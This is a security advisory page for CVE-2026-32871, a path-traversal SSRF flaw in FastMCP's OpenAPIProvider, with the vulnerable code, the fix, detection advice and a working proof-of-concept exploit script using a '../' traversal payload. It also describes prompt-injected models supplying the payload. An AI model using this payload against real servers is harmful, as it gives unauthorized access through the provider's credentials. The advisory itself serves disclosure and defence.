CVE-2026-32871: FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability
FastMCP before 3.2.0 lets an MCP client escape the API prefix of an OpenAPI-backed server. RequestDirector._build_url() puts path parameters into the URL unencoded, so ../ sequences reach other backend endpoints with the provider's credentials. The result is authenticated SSRF. Upgrade fastmcp to 3.2.0.
Published Mar 31, 2026 · Updated Oct 27, 2026 · Analysis Oct 31, 2026
What an attacker can do
OpenAPIProvider turns an OpenAPI spec into MCP tools. When an operation has a path parameter such as /api/v1/users/{user_id}/profile, _build_url() in fastmcp/utilities/openapi/director.py replaces the placeholder with the raw value, then calls urljoin(). urljoin treats ../ as directory traversal. A value like ../../../admin/delete-all? walks out of the intended prefix, and the trailing question mark drops the rest of the template.
The attacker only has to control a tool argument. That means any MCP client, or a model steered by prompt injection. The request goes out with the authorization headers configured on the provider. In the advisory's proof of concept, an endpoint absent from the OpenAPI spec returned admin access using the provider's bearer token. Practical results are reading or triggering internal endpoints, stealing tokens from endpoints that return them, and reaching internal-only services. The restriction to the functions listed in the spec is lost. CVSS scores 10.
Who is affected
pip package fastmcp, versions before 3.2.0, for servers that use OpenAPIProvider (including servers generated from an OpenAPI spec) with at least one path parameter. Check the version:
pip show fastmcpReview which backend APIs and credentials your OpenAPI-based servers use, because those define the blast radius.
fastmcp
- Ecosystem
- PyPI
- Affected
- < 3.2.0
- Fixed in
- 3.2.0
- Check
pip show fastmcp
How to fix it
Upgrade to fastmcp 3.2.0:
pip install --upgrade fastmcp==3.2.0Pull request 3507 percent-encodes each path parameter with urllib.parse.quote(..., safe="") before substitution and also encodes dots, so ../ and single-dot segments stay literal data. Query and header parameters were not changed. Red Hat has published an erratum for its packaged builds.
How to tell if you were hit
Look in the backend access logs for requests from the MCP server to paths that are not in the OpenAPI spec, or with unexpected admin or internal prefixes. Check MCP tool call logs for path arguments containing ../, %2e or a question mark. Any such call from a provider holding broad credentials deserves review. Beam records MCP tool calls from agents, so its record can show which arguments an agent sent.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Technical Description
The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.
A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.
Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.
---
Vulnerable Code
File: fastmcp/utilities/openapi/director.py
def _build_url(
self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
# Direct string substitution without encoding
url_path = path_template
for param_name, param_value in path_params.items():
placeholder = f"{{{param_name}}}"
if placeholder in url_path:
url_path = url_path.replace(placeholder, str(param_value))
# urljoin resolves ../ escape sequences
return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))Root Cause
- Path parameters are substituted directly without URL encoding
urllib.parse.urljoin()interprets../as directory traversal- No validation prevents traversal sequences in parameter values
- Requests inherit the authentication context of the MCP provider
---
Proof of Concept
Step 1: Backend API Setup
Create internal_api.py to simulate a vulnerable backend server:
from fastapi import FastAPI, Header, HTTPException
import uvicorn
app = FastAPI()
@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
return {"status": "success", "user": user_id}
@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
if authorization == "Bearer admin_secret":
return {"status": "CRITICAL", "message": "Administrative access granted"}
raise HTTPException(status_code=401)
if __name__ == "__main__":
uvicorn.run(app, host="127.0.0.1", port=8080)Step 2: Exploitation Script
Create exploit_poc.py:
import asyncio
import httpx
from fastmcp.utilities.openapi.director import RequestDirector
async def exploit_ssrf():
# Initialize vulnerable component
director = RequestDirector(spec={})
base_url = "http://127.0.0.1:8080/"
template = "/api/v1/users/{id}/profile"
# Payload: Path traversal to reach /admin/delete-all
# The '?' character neutralizes the rest of the original template
payload = "../../../admin/delete-all?"
# Construct malicious URL
malicious_url = director._build_url(template, {"id": payload}, base_url)
print(f"[*] Generated URL: {malicious_url}")
async with httpx.AsyncClient() as client:
# Request inherits MCP provider's authorization headers
response = await client.get(
malicious_url,
headers={"Authorization": "Bearer admin_secret"}
)
print(f"[+] Status Code: {response.status_code}")
print(f"[+] Response: {response.text}")
if __name__ == "__main__":
asyncio.run(exploit_ssrf())Expected Output
[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.
---
Impact Assessment
Severity Justification
- Unauthorized Access: Attackers can interact with private endpoints not exposed in the OpenAPI specification
- Privilege Escalation: The attacker operates within the MCP provider's security context and credentials
- Authentication Bypass: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
- Data Exfiltration: Sensitive internal APIs can be accessed and exploited
- Lateral Movement: Internal-only services may be compromised from the network boundary
Attack Scenarios
- Accessing Admin Panels: Bypass API restrictions to reach administrative endpoints
- Data Theft: Access internal databases or sensitive information endpoints
- Service Disruption: Trigger destructive operations on backend services
- Credential Extraction: Access endpoints returning API keys, tokens, or credentials
---
Remediation
Recommended Fix
URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.
Updated code for `_build_url()` method:
import urllib.parse
def _build_url(
self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
url_path = path_template
for param_name, param_value in path_params.items():
placeholder = f"{{{param_name}}}"
if placeholder in url_path:
# Apply safe URL encoding to prevent traversal attacks
# safe="" ensures ALL special characters are encoded
safe_value = urllib.parse.quote(str(param_value), safe="")
url_path = url_path.replace(placeholder, safe_value)
return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))Credited to Pr00fOf3xpl0it, Jaynornj.
Questions
- Is FastMCP 3.1.x affected by CVE-2026-32871?
Yes. Every version before 3.2.0 is affected if it uses OpenAPIProvider with path parameters. Version 3.2.0 contains the fix.
- Why is it called authenticated SSRF?
The forged request is sent by the MCP server itself, using the authorization headers configured on the provider. The backend sees a trusted caller.
- Does the attacker need to be able to edit the OpenAPI spec?
No. They only need to supply a path parameter value, through an MCP client or a prompt-injected model.
- Is it exploited in the wild?
The sources do not report exploitation. The advisory includes a working proof of concept.
References
Read for this analysis:
- https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vv7q-7jx5-f767
- https://github.com/PrefectHQ/fastmcp/pull/3507
- https://nvd.nist.gov/vuln/detail/CVE-2026-32871
- https://github.com/PrefectHQ/fastmcp/commit/40bdfb6b1de0ce30609ee9ba5bb95ecd04a9fb71
- https://github.com/PrefectHQ/fastmcp/releases/tag/v3.2.0
- https://access.redhat.com/errata/RHSA-2026:36350
- https://access.redhat.com/security/cve/CVE-2026-32871
- https://bugzilla.redhat.com/show_bug.cgi?id=2454434
- https://github.com/pypa/advisory-database/tree/main/vulns/fastmcp/PYSEC-2026-338.yaml
- https://pypi.org/project/fastmcp
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-32871.json
- https://github.com/advisories/GHSA-vv7q-7jx5-f767
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More FastMCP vulnerabilities
All FastMCP entriesGHSA-7xgj-8392-5q4r
FastMCP: Post-transform component authorization is skipped on direct calls
medium6.8Oct 23, 2026GHSA-vqqp-x5qm-5qp4
FastMCP MCP client wrappers construct M2M OAuth providers without issuer binding — client secret redirectable to attacker-advertised authorization server
medium5.9Oct 23, 2026CVE-2025-64340
FastMCP has a Command Injection vulnerability - Gemini CLI
medium6.7Mar 31, 2026CVE-2026-27124
FastMCP: Missing Consent Verification in OAuth Proxy Callback Facilitates Confused Deputy Vulnerabilities
high8.2Mar 31, 2026CVE-2025-69196
FastMCP OAuth Proxy token reuse across MCP servers
high7.4Mar 16, 2026GHSA-rcfx-77hg-w2wv
FastMCP updated to MCP 1.23+ due to CVE-2025-66416
highDec 26, 2025
